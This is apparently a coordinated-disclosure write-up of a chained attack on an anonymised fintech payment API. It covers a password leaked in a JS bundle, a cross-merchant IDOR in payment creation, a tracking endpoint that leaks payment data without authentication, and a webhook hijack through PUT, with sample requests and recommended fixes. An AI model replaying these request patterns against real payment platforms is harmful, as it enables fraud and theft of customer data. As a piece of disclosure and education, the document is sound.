July 29, 2026
How I Chained a Hardcoded Password Into a Cross-Merchant Payment Takeover
A fintech API security walkthrough, from a leaked JS credential to full webhook interception

By Insid_e
4 min read
While testing a fintech payment platform through a coordinated disclosure program, I found a password hardcoded directly in a public JavaScript bundle. That single credential turned out to be the first domino in a chain that let me create crypto payments on behalf of any merchant on the platform. I could read full payment data across tenants and overwrite merchant webhook endpoints to intercept transaction events in real time.
This is the full walkthrough. Recon, exploitation chain, impact, and the fixes that closed it.
Note: the platform name and all domains are withheld or replaced with placeholders, since this write up is published after remediation but the vendor has not authorized naming.
Scope and Context
The target was a crypto and fiat payment processing platform exposing a public developer portal, an OpenAPI specification, and a merchant facing dashboard built on a Keycloak identity provider. Testing was performed within an authorized scope. All findings below were reported and remediated before this publication.
Recon: Mapping the API Surface
The platform exposed several public facing subdomains. A developer documentation site, an OpenAPI or Swagger spec, and a merchant test portal. Pulling the JavaScript bundles served by the portal and running them through pattern matching for common secret indicators (apiKey, secret, client_id, token) revealed the underlying identity infrastructure.
GET https://developers.[platform].example/api-reference → 200 (OpenAPI spec found)
Extracted from portal JS bundle:
Keycloak realm: nonprod
client_id: [platform]-terminal
Token endpoint: https://identity.[platform-idp].example/realms/nonprod/protocol/openid-connect/tokenGET https://developers.[platform].example/api-reference → 200 (OpenAPI spec found)
Extracted from portal JS bundle:
Keycloak realm: nonprod
client_id: [platform]-terminal
Token endpoint: https://identity.[platform-idp].example/realms/nonprod/protocol/openid-connect/tokenThis gave a clear map of the authentication flow and the REST API base paths used by the merchant terminal application.
Finding 1: Hardcoded Credentials in a Public JS Bundle (Critical)
Static analysis of the client side bundle surfaced a hardcoded password tied to an OAuth client, stored in what looked like a leftover environment variable bundled into the production build.
FIELD: apiKey = ████████████████
FIELD: JS_secret_var = REACT_APP_[REDACTED] = [MASKED VALUE]FIELD: apiKey = ████████████████
FIELD: JS_secret_var = REACT_APP_[REDACTED] = [MASKED VALUE]Redaction note: never publish the actual password, even after rotation. Vendors often reuse credential patterns across environments.
Why it matters: anything shipped to the browser is public. A password embedded in a JS bundle is equivalent to publishing it on the internet, and in this case it was enough to complete a full OAuth password grant.
Finding 2: Unauthenticated Cross-Merchant Payment Creation (Critical)
Using the leaked credential, I completed a password grant against the token endpoint and obtained a valid Bearer token scoped to a single test terminal.
The payment creation endpoint accepted a terminalId and merchantId directly in the request body, but never verified that these values actually belonged to the authenticated client.
POST /Payments/crypto
Authorization: Bearer {token}
{
"terminalId": "{otherMerchantTerminalId}",
"merchantId": "{otherMerchantId}",
"requestedAmount": 1.00,
"customer": {
"firstName": "Test",
"email": "test@example.com"
}
}POST /Payments/crypto
Authorization: Bearer {token}
{
"terminalId": "{otherMerchantTerminalId}",
"merchantId": "{otherMerchantId}",
"requestedAmount": 1.00,
"customer": {
"firstName": "Test",
"email": "test@example.com"
}
}Response:
200 OK
{
"trackingId": "[REDACTED]",
"paymentUrls": ["https://pay-test.[platform].example/{paymentPageId}"]
}200 OK
{
"trackingId": "[REDACTED]",
"paymentUrls": ["https://pay-test.[platform].example/{paymentPageId}"]
}I tested six variations of this request. Different merchant and terminal combinations, an empty merchantId, and an entirely invented terminalId. Every fully cross-tenant combination succeeded with a live, functioning payment page.
Impact: an attacker could generate valid crypto payment pages under any merchant's identity on the platform, with zero server side ownership validation. This is a textbook cross-tenant IDOR caused by missing server-side ownership validation.
Finding 3: Tracking Endpoint Discloses Full Payment Record (High)
Every payment returns a trackingId, exposed in the payment URL shared with the end customer. I expected the public tracking endpoint to return only status information. Instead, it returned the complete internal payment object, with no authentication required and no check on which tenant the requester belonged to.
GET /payments/tracking/{trackingId}
{
"statusCode": "created",
"customerId": "[REDACTED]",
"refundEmail": "[REDACTED]",
"webhookUrls": ["[REDACTED, live endpoint]"],
"ipAddress": "[REDACTED]",
"amounts": { "requested": { "amount": 1, "currencyId": 1 } }
}GET /payments/tracking/{trackingId}
{
"statusCode": "created",
"customerId": "[REDACTED]",
"refundEmail": "[REDACTED]",
"webhookUrls": ["[REDACTED, live endpoint]"],
"ipAddress": "[REDACTED]",
"amounts": { "requested": { "amount": 1, "currencyId": 1 } }
}I tested this endpoint both without any token and with a token belonging to a different tenant. Both returned identical, fully populated payment data.
Impact: anyone in possession of, or able to guess, a trackingId could exfiltrate customer emails, merchant webhook endpoints, and IP addresses, since these IDs are inherently exposed in shared payment links.
Finding 4: Webhook Hijack via Insufficiently Authorized PUT (High)
The most severe chained impact came from the Terminals resource. It exposed a PUT endpoint that allowed overwriting a merchant's configured webhookUrl, the endpoint that receives real time payment status notifications.
Before:
webhookUrl = https://webhook.site/[merchant-original-endpoint]webhookUrl = https://webhook.site/[merchant-original-endpoint]After (PUT request with attacker-controlled body):
webhookUrl = https://webhook.site/[attacker-endpoint, masked]webhookUrl = https://webhook.site/[attacker-endpoint, masked]Once modified, every subsequent payment notification for that merchant (successful charges, refunds, status changes) would be delivered directly to the attacker's endpoint in real time. This effectively gave full visibility, and in some flows replay capability, over that merchant's transaction stream.
Impact
This chain enables
- Cross-tenant payment creation under arbitrary merchants
- Exposure of customer and transaction data
- Interception of real-time payment events via webhook takeover
In a production environment, this could lead to:
- Financial fraud scenarios
- Data leakage across merchants
- Loss of trust and potential regulatory impact (e.g. GDPR)
This is not a theoretical issue. It directly affects the integrity of payment flows.
Root Cause and Recommendations
- Never ship secrets in client side code. Any credential in a JS bundle is public by definition. Use short lived tokens issued server side instead.
- Enforce tenant ownership server side on every object reference. A valid token should never be sufficient on its own. The API must verify that the merchantId or terminalId in the request actually belongs to the authenticated identity.
- Scope public tracking endpoints strictly. Return only the minimum status information needed by an unauthenticated caller, not the full internal payment record.
- Treat webhook configuration as a privileged operation. Changing a merchant's notification endpoint should require re-authentication or an elevated scope, given the blast radius of a hijacked webhook.
Closing
This chain started with something almost embarrassingly simple, a password left in a JS bundle, and ended with the ability to intercept another company's live payment stream. It is a good reminder that in multi-tenant fintech systems, authentication answers "who are you?" but authorization has to separately answer "should you be touching this merchant's data?" The second question is where most of the real damage happens.
About
I focus on offensive security in API-driven and multi-tenant systems, with an emphasis on chaining business logic flaws into real-world impact.